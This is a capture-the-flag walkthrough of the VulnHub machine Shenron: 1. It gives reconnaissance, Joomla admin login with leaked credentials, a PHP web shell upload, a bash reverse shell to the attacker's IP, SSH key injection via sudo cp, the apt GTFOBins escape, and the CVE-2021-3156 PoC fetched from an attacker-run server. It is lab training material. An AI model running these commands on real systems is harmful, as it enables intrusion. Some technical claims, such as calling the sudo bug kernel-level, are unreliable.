VulnHub — Shenron: 1 | Full Walkthrough
OverviewShenron: 1 is a beginner-to-intermediate VulnHub machine built around a misconfigured Joomla 2026-6-18 06:43:39 Author: infosecwriteups.com(查看原文) 阅读量:2 收藏

Overview

Shenron: 1 is a beginner-to-intermediate VulnHub machine built around a misconfigured Joomla CMS deployment. The attack path begins with credentials carelessly left in an HTML comment, escalates through a malicious extension upload for Remote Code Execution, and culminates in full root access via three distinct privilege escalation vectors. This machine is an excellent practical exercise covering real-world misconfigurations seen in production environments.

Flags captured:

  • local.txt → 098bf43cc909e1f89bb4c910bd31e1d4
  • root.txt → aa087b2d466cd593622798c8e972bffb

Reconnaissance

Network Scan

I began with a thorough Nmap scan to enumerate open ports, running services, and OS details:

nmap -sC -sV -oN nmap/shenron.txt 192.168.100.210

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))

Key observations:

  • Only two ports exposed: SSH (22) and HTTP (80)
  • OS fingerprinted as Ubuntu 20.04.1 LTS (Focal Fossa)
  • MAC: 08:00:27:F4:52:F8 → Oracle VirtualBox NIC
  • Apache 2.4.41 — an outdated version

The minimal attack surface here pushes us straight to web enumeration.

Web Enumeration

Directory Brute-Force with Dirb

dirb http://192.168.100.210 /usr/share/wordlists/dirb/common.txt

Discovered paths:

+ http://192.168.100.210/joomla/              [200]
+ http://192.168.100.210/joomla/administrator [200]
+ http://192.168.100.210/test/               [301]
+ http://192.168.100.210/server-status       [403]

Two immediately interesting paths emerged:

  • /joomla/ — A Joomla CMS installation
  • /test/ — A suspicious, unlisted directory

Investigating /test/

Browsing to http://192.168.100.210/test/ revealed a directory listing. Inside was a file named password. On opening it, the page source contained the following HTML comment:

<!-- admin:3iqtzi4RhkWANcu@$pa$$ -->

A plaintext admin credential sitting in an HTML comment — a classic and critically dangerous developer mistake.

Initial Access

F-01 — Credentials Hardcoded in HTML Comment

Detail Value URL http://192.168.100.210/test/password Credentials admin : 3iqtzi4RhkWANcu@$pa$$ Severity Critical

With these credentials, I navigated to the Joomla administrator panel:

http://192.168.100.210/joomla/administrator/

Login succeeded. We now had full administrative control over the Joomla CMS — this is the starting point for everything that follows.

Foothold

F-03 — Remote Code Execution via Malicious Joomla Extension

Joomla’s admin panel allows uploading extension packages (.zip files). I crafted a malicious PHP web shell disguised as a Joomla extension.

Web shell payload (shell.php):

<?php system($_GET['cmd']); ?>

Packaged this into a .zip file structured as a valid Joomla extension and uploaded it via:

Extensions → Install → Upload Package File

The shell was deployed to:

http://192.168.100.210/joomla/shell/shell.php

Verification:

http://192.168.100.210/joomla/shell/shell.php?cmd=id

Response: uid=33(www-data) gid=33(www-data) groups=33(www-data) ✓

Upgrading to a Reverse Shell

Set up a Netcat listener on Kali:

nc -lvnp 4444

Triggered a bash reverse shell from the web shell:

?cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.100.130/4444 0>%261'

Shell received:

Connection received on 192.168.100.210 50792
www-data@shenron:/var/www/html/joomla/shell$

Stabilised the shell for full interactivity:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

We now had a stable shell as www-data.

Privilege Escalation: www-data → jenny

F-04 — Database Credentials in configuration.php

With filesystem access as www-data, I read the Joomla configuration file:

cat /var/www/html/joomla/configuration.php
class JConfig {
    public $dbtype  = 'mysqli';
    public $host    = 'localhost';
    public $user    = 'jenny';
    public $password = 'Mypa$$wordi$notharD@123';
    public $db      = 'joomla_db';
}

Credentials in plaintext. The database user jenny — could this be a system user too?

F-05 — Password Reuse

su jenny
Password: Mypa$$wordi$notharD@123

It worked. The database password was identical to the OS account password. This is a textbook password reuse vulnerability.

whoami
# jenny

Privilege Escalation: jenny → shenron

F-06 — Sudo Misconfiguration: cp (NOPASSWD)

sudo -l
User jenny may run the following commands on shenron:
    (shenron) NOPASSWD: /usr/bin/cp

The cp binary can be run as user shenron without a password. This is exploitable via SSH authorized key injection.

Get Shikhali Jamalzade’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Exploit steps:

  1. Generate an SSH keypair on the attacker machine (Kali):
ssh-keygen -t rsa -f /tmp/hacked_key
  1. On the target, create a temporary file with the public key content:
echo "ssh-rsa AAAA...your_pub_key... root@kali" > /tmp/authorized_keys
  1. Use sudo cp as shenron to overwrite their authorized_keys:
sudo -u shenron /usr/bin/cp /tmp/authorized_keys /home/shenron/.ssh/authorized_keys
  1. SSH in as shenron from Kali:
ssh -i /tmp/hacked_key [email protected]

Shell received:

Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-58-generic x86_64)
shenron@shenron:~$

User Flag

cat /home/shenron/local.txt
098bf43cc909e1f89bb4c910bd31e1d4

🚩 User flag captured.

Privilege Escalation: shenron → root

Three independent root escalation paths were identified:

Path 1: sudo apt GTFOBins {#path-1}

sudo -l
User shenron may run the following commands on shenron:
    (ALL : ALL) /usr/bin/apt

apt is on GTFOBins. The Pre-Invoke option in apt allows injecting an arbitrary command before any apt operation:

sudo /usr/bin/apt update -o APT::Update::Pre-Invoke::="/bin/bash"

Password prompted (found in the next section). Result:

root@shenron:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

F-07 — Plaintext Password File (shenron’s credentials)

Before escalating, I ran LinPEAS and discovered:

cat /var/opt/password.txt
shenron : YoUkNowMyPaSsWoRdIsToStRoNgDeAr

A system user’s password stored in a plaintext file in a world-readable directory.

Root Flag:

cat /root/root.txt
Your Root Flag Is Here :- aa087b2d466cd593622798c8e972bffb

🚩 Root flag captured.

Path 2: CVE-2021–3156 — Baron Samedit {#path-2}

The system runs sudo 1.8.31 on Ubuntu 20.04.1. This version is vulnerable to CVE-2021-3156 (Baron Samedit), a heap-based buffer overflow in sudo that allows any local user to gain root privileges without knowing the sudo password.

sudo --version
# Sudo version 1.8.31

I transferred the PoC exploit (by blasty) to the target via a Python HTTP server:

# On Kali:
git clone https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156
python3 -m http.server 8080
# On target (as shenron):
cd /home/shenron
wget http://192.168.100.130:8080/CVE-2021-3156-main.zip
unzip CVE-2021-3156-main.zip
cd CVE-2021-3156-main
make
./sudo-hax-me-a-sandwich 1
** CVE-2021-3156 PoC by blasty <[email protected]>
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1002(shenron)

Root achieved via an unpatched kernel-level CVE — entirely independent of the sudo misconfiguration in Path 1.

Path 3: MySQL Root Shell Execution {#path-3}

LinPEAS flagged a world-readable MySQL maintenance credentials file:

cat /etc/mysql/debian.cnf
[client]
host     = localhost
user     = debian-sys-maint
password = IcEgakXDwR6Sf4VJ

Logged into MySQL as root (after resetting the root password using the debian-sys-maint credentials):

mysql -u root -proot

Inside MySQL, used the \! shell escape to execute system commands as the MySQL process owner (root):

mysql> \! id
uid=0(root) gid=0(root) groups=0(root)
mysql> \! whoami
root

A third, fully independent path to root — all from a misconfigured file permission.

Post-Exploitation — LinPEAS Analysis

After rooting the box, I ran a full LinPEAS scan to document any additional attack surface:

# On Kali:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 8080
# On target:
cd /tmp
wget http://192.168.100.130:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee /tmp/linpeas_output.txt

Additional findings from LinPEAS:

Finding Location Severity sudo 1.8.31 → CVE-2021–3156 System Critical Kernel CVE-2021–22555 Netfilter heap OOB High Kernel CVE-2022–2586 nft_object UAF High MySQL credentials exposed /etc/mysql/debian.cnf High Joomla 3.x (End of Life) Web server High PHP 7.4.3 (outdated) Web server Medium Apache 2.4.41 (outdated) Web server Medium

Attack Chain Summary

[Attacker / Kali Linux]
        │
        ▼
[1] Nmap → ports 22, 80 open
        │
        ▼
[2] Dirb → /joomla/, /test/ discovered
        │
        ▼
[3] /test/password → HTML comment → admin credentials (F-01)
        │
        ▼
[4] Joomla admin login → malicious extension upload → RCE (F-03)
        │
        ▼
[5] Reverse shell → www-data
        │
        ▼
[6] configuration.php → jenny:Mypa$$wordi$notharD@123 (F-04)
        │
        ▼
[7] su jenny → password reuse (F-05)
        │
        ▼
[8] sudo -l → cp NOPASSWD as shenron → SSH key injection (F-06)
        │
        ▼
[9] SSH → shenron ✓  local.txt: 098bf43cc909e1f89bb4c910bd31e1d4
        │
        ├──[Path 1]── sudo apt GTFOBins + /var/opt/password.txt (F-07, F-08) → root
        ├──[Path 2]── CVE-2021-3156 Baron Samedit (F-09) → root
        └──[Path 3]── /etc/mysql/debian.cnf → MySQL \! shell (F-10) → root
root.txt: aa087b2d466cd593622798c8e972bffb ✓

Key Takeaways

This machine packs a dense set of real-world lessons into a compact attack chain:

1. Never store credentials in HTML source code. The HTML comment in /test/password was the single biggest mistake on this machine. Without it, the entire attack chain collapses. Treat your HTML source as fully public — because it is.

2. Separate service credentials from system account credentials. Using the same password for the Joomla database user and the OS account jenny allowed a lateral pivot that should not have been possible. Always use distinct, randomly generated credentials per service.

3. Audit your sudoers file carefully — GTFOBins is real. Both cp and apt are on GTFOBins. Any binary listed there should never appear in a sudoers file without strict command argument restrictions. Run sudo -l as part of every system audit.

4. Keep sudo patched. CVE-2021–3156 is a critical, well-known sudo vulnerability. Sudo 1.8.31 on Ubuntu 20.04 should have been patched months before this test. Patch management is not optional.

5. File permissions matter. /var/opt/password.txt containing a plaintext user password and /etc/mysql/debian.cnf being world-readable are configuration failures that hand attackers the keys directly.

6. End-of-Life software is a liability. Joomla 3.x reached End of Life. Running EOL software means no more security updates — even critical ones. Upgrade or migrate.

Thanks for reading! If you enjoyed this writeup, feel free to connect on LinkedIn or check out my tools and other work on GitHub.


文章来源: https://infosecwriteups.com/vulnhub-shenron-1-full-walkthrough-05d09a54ab77?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh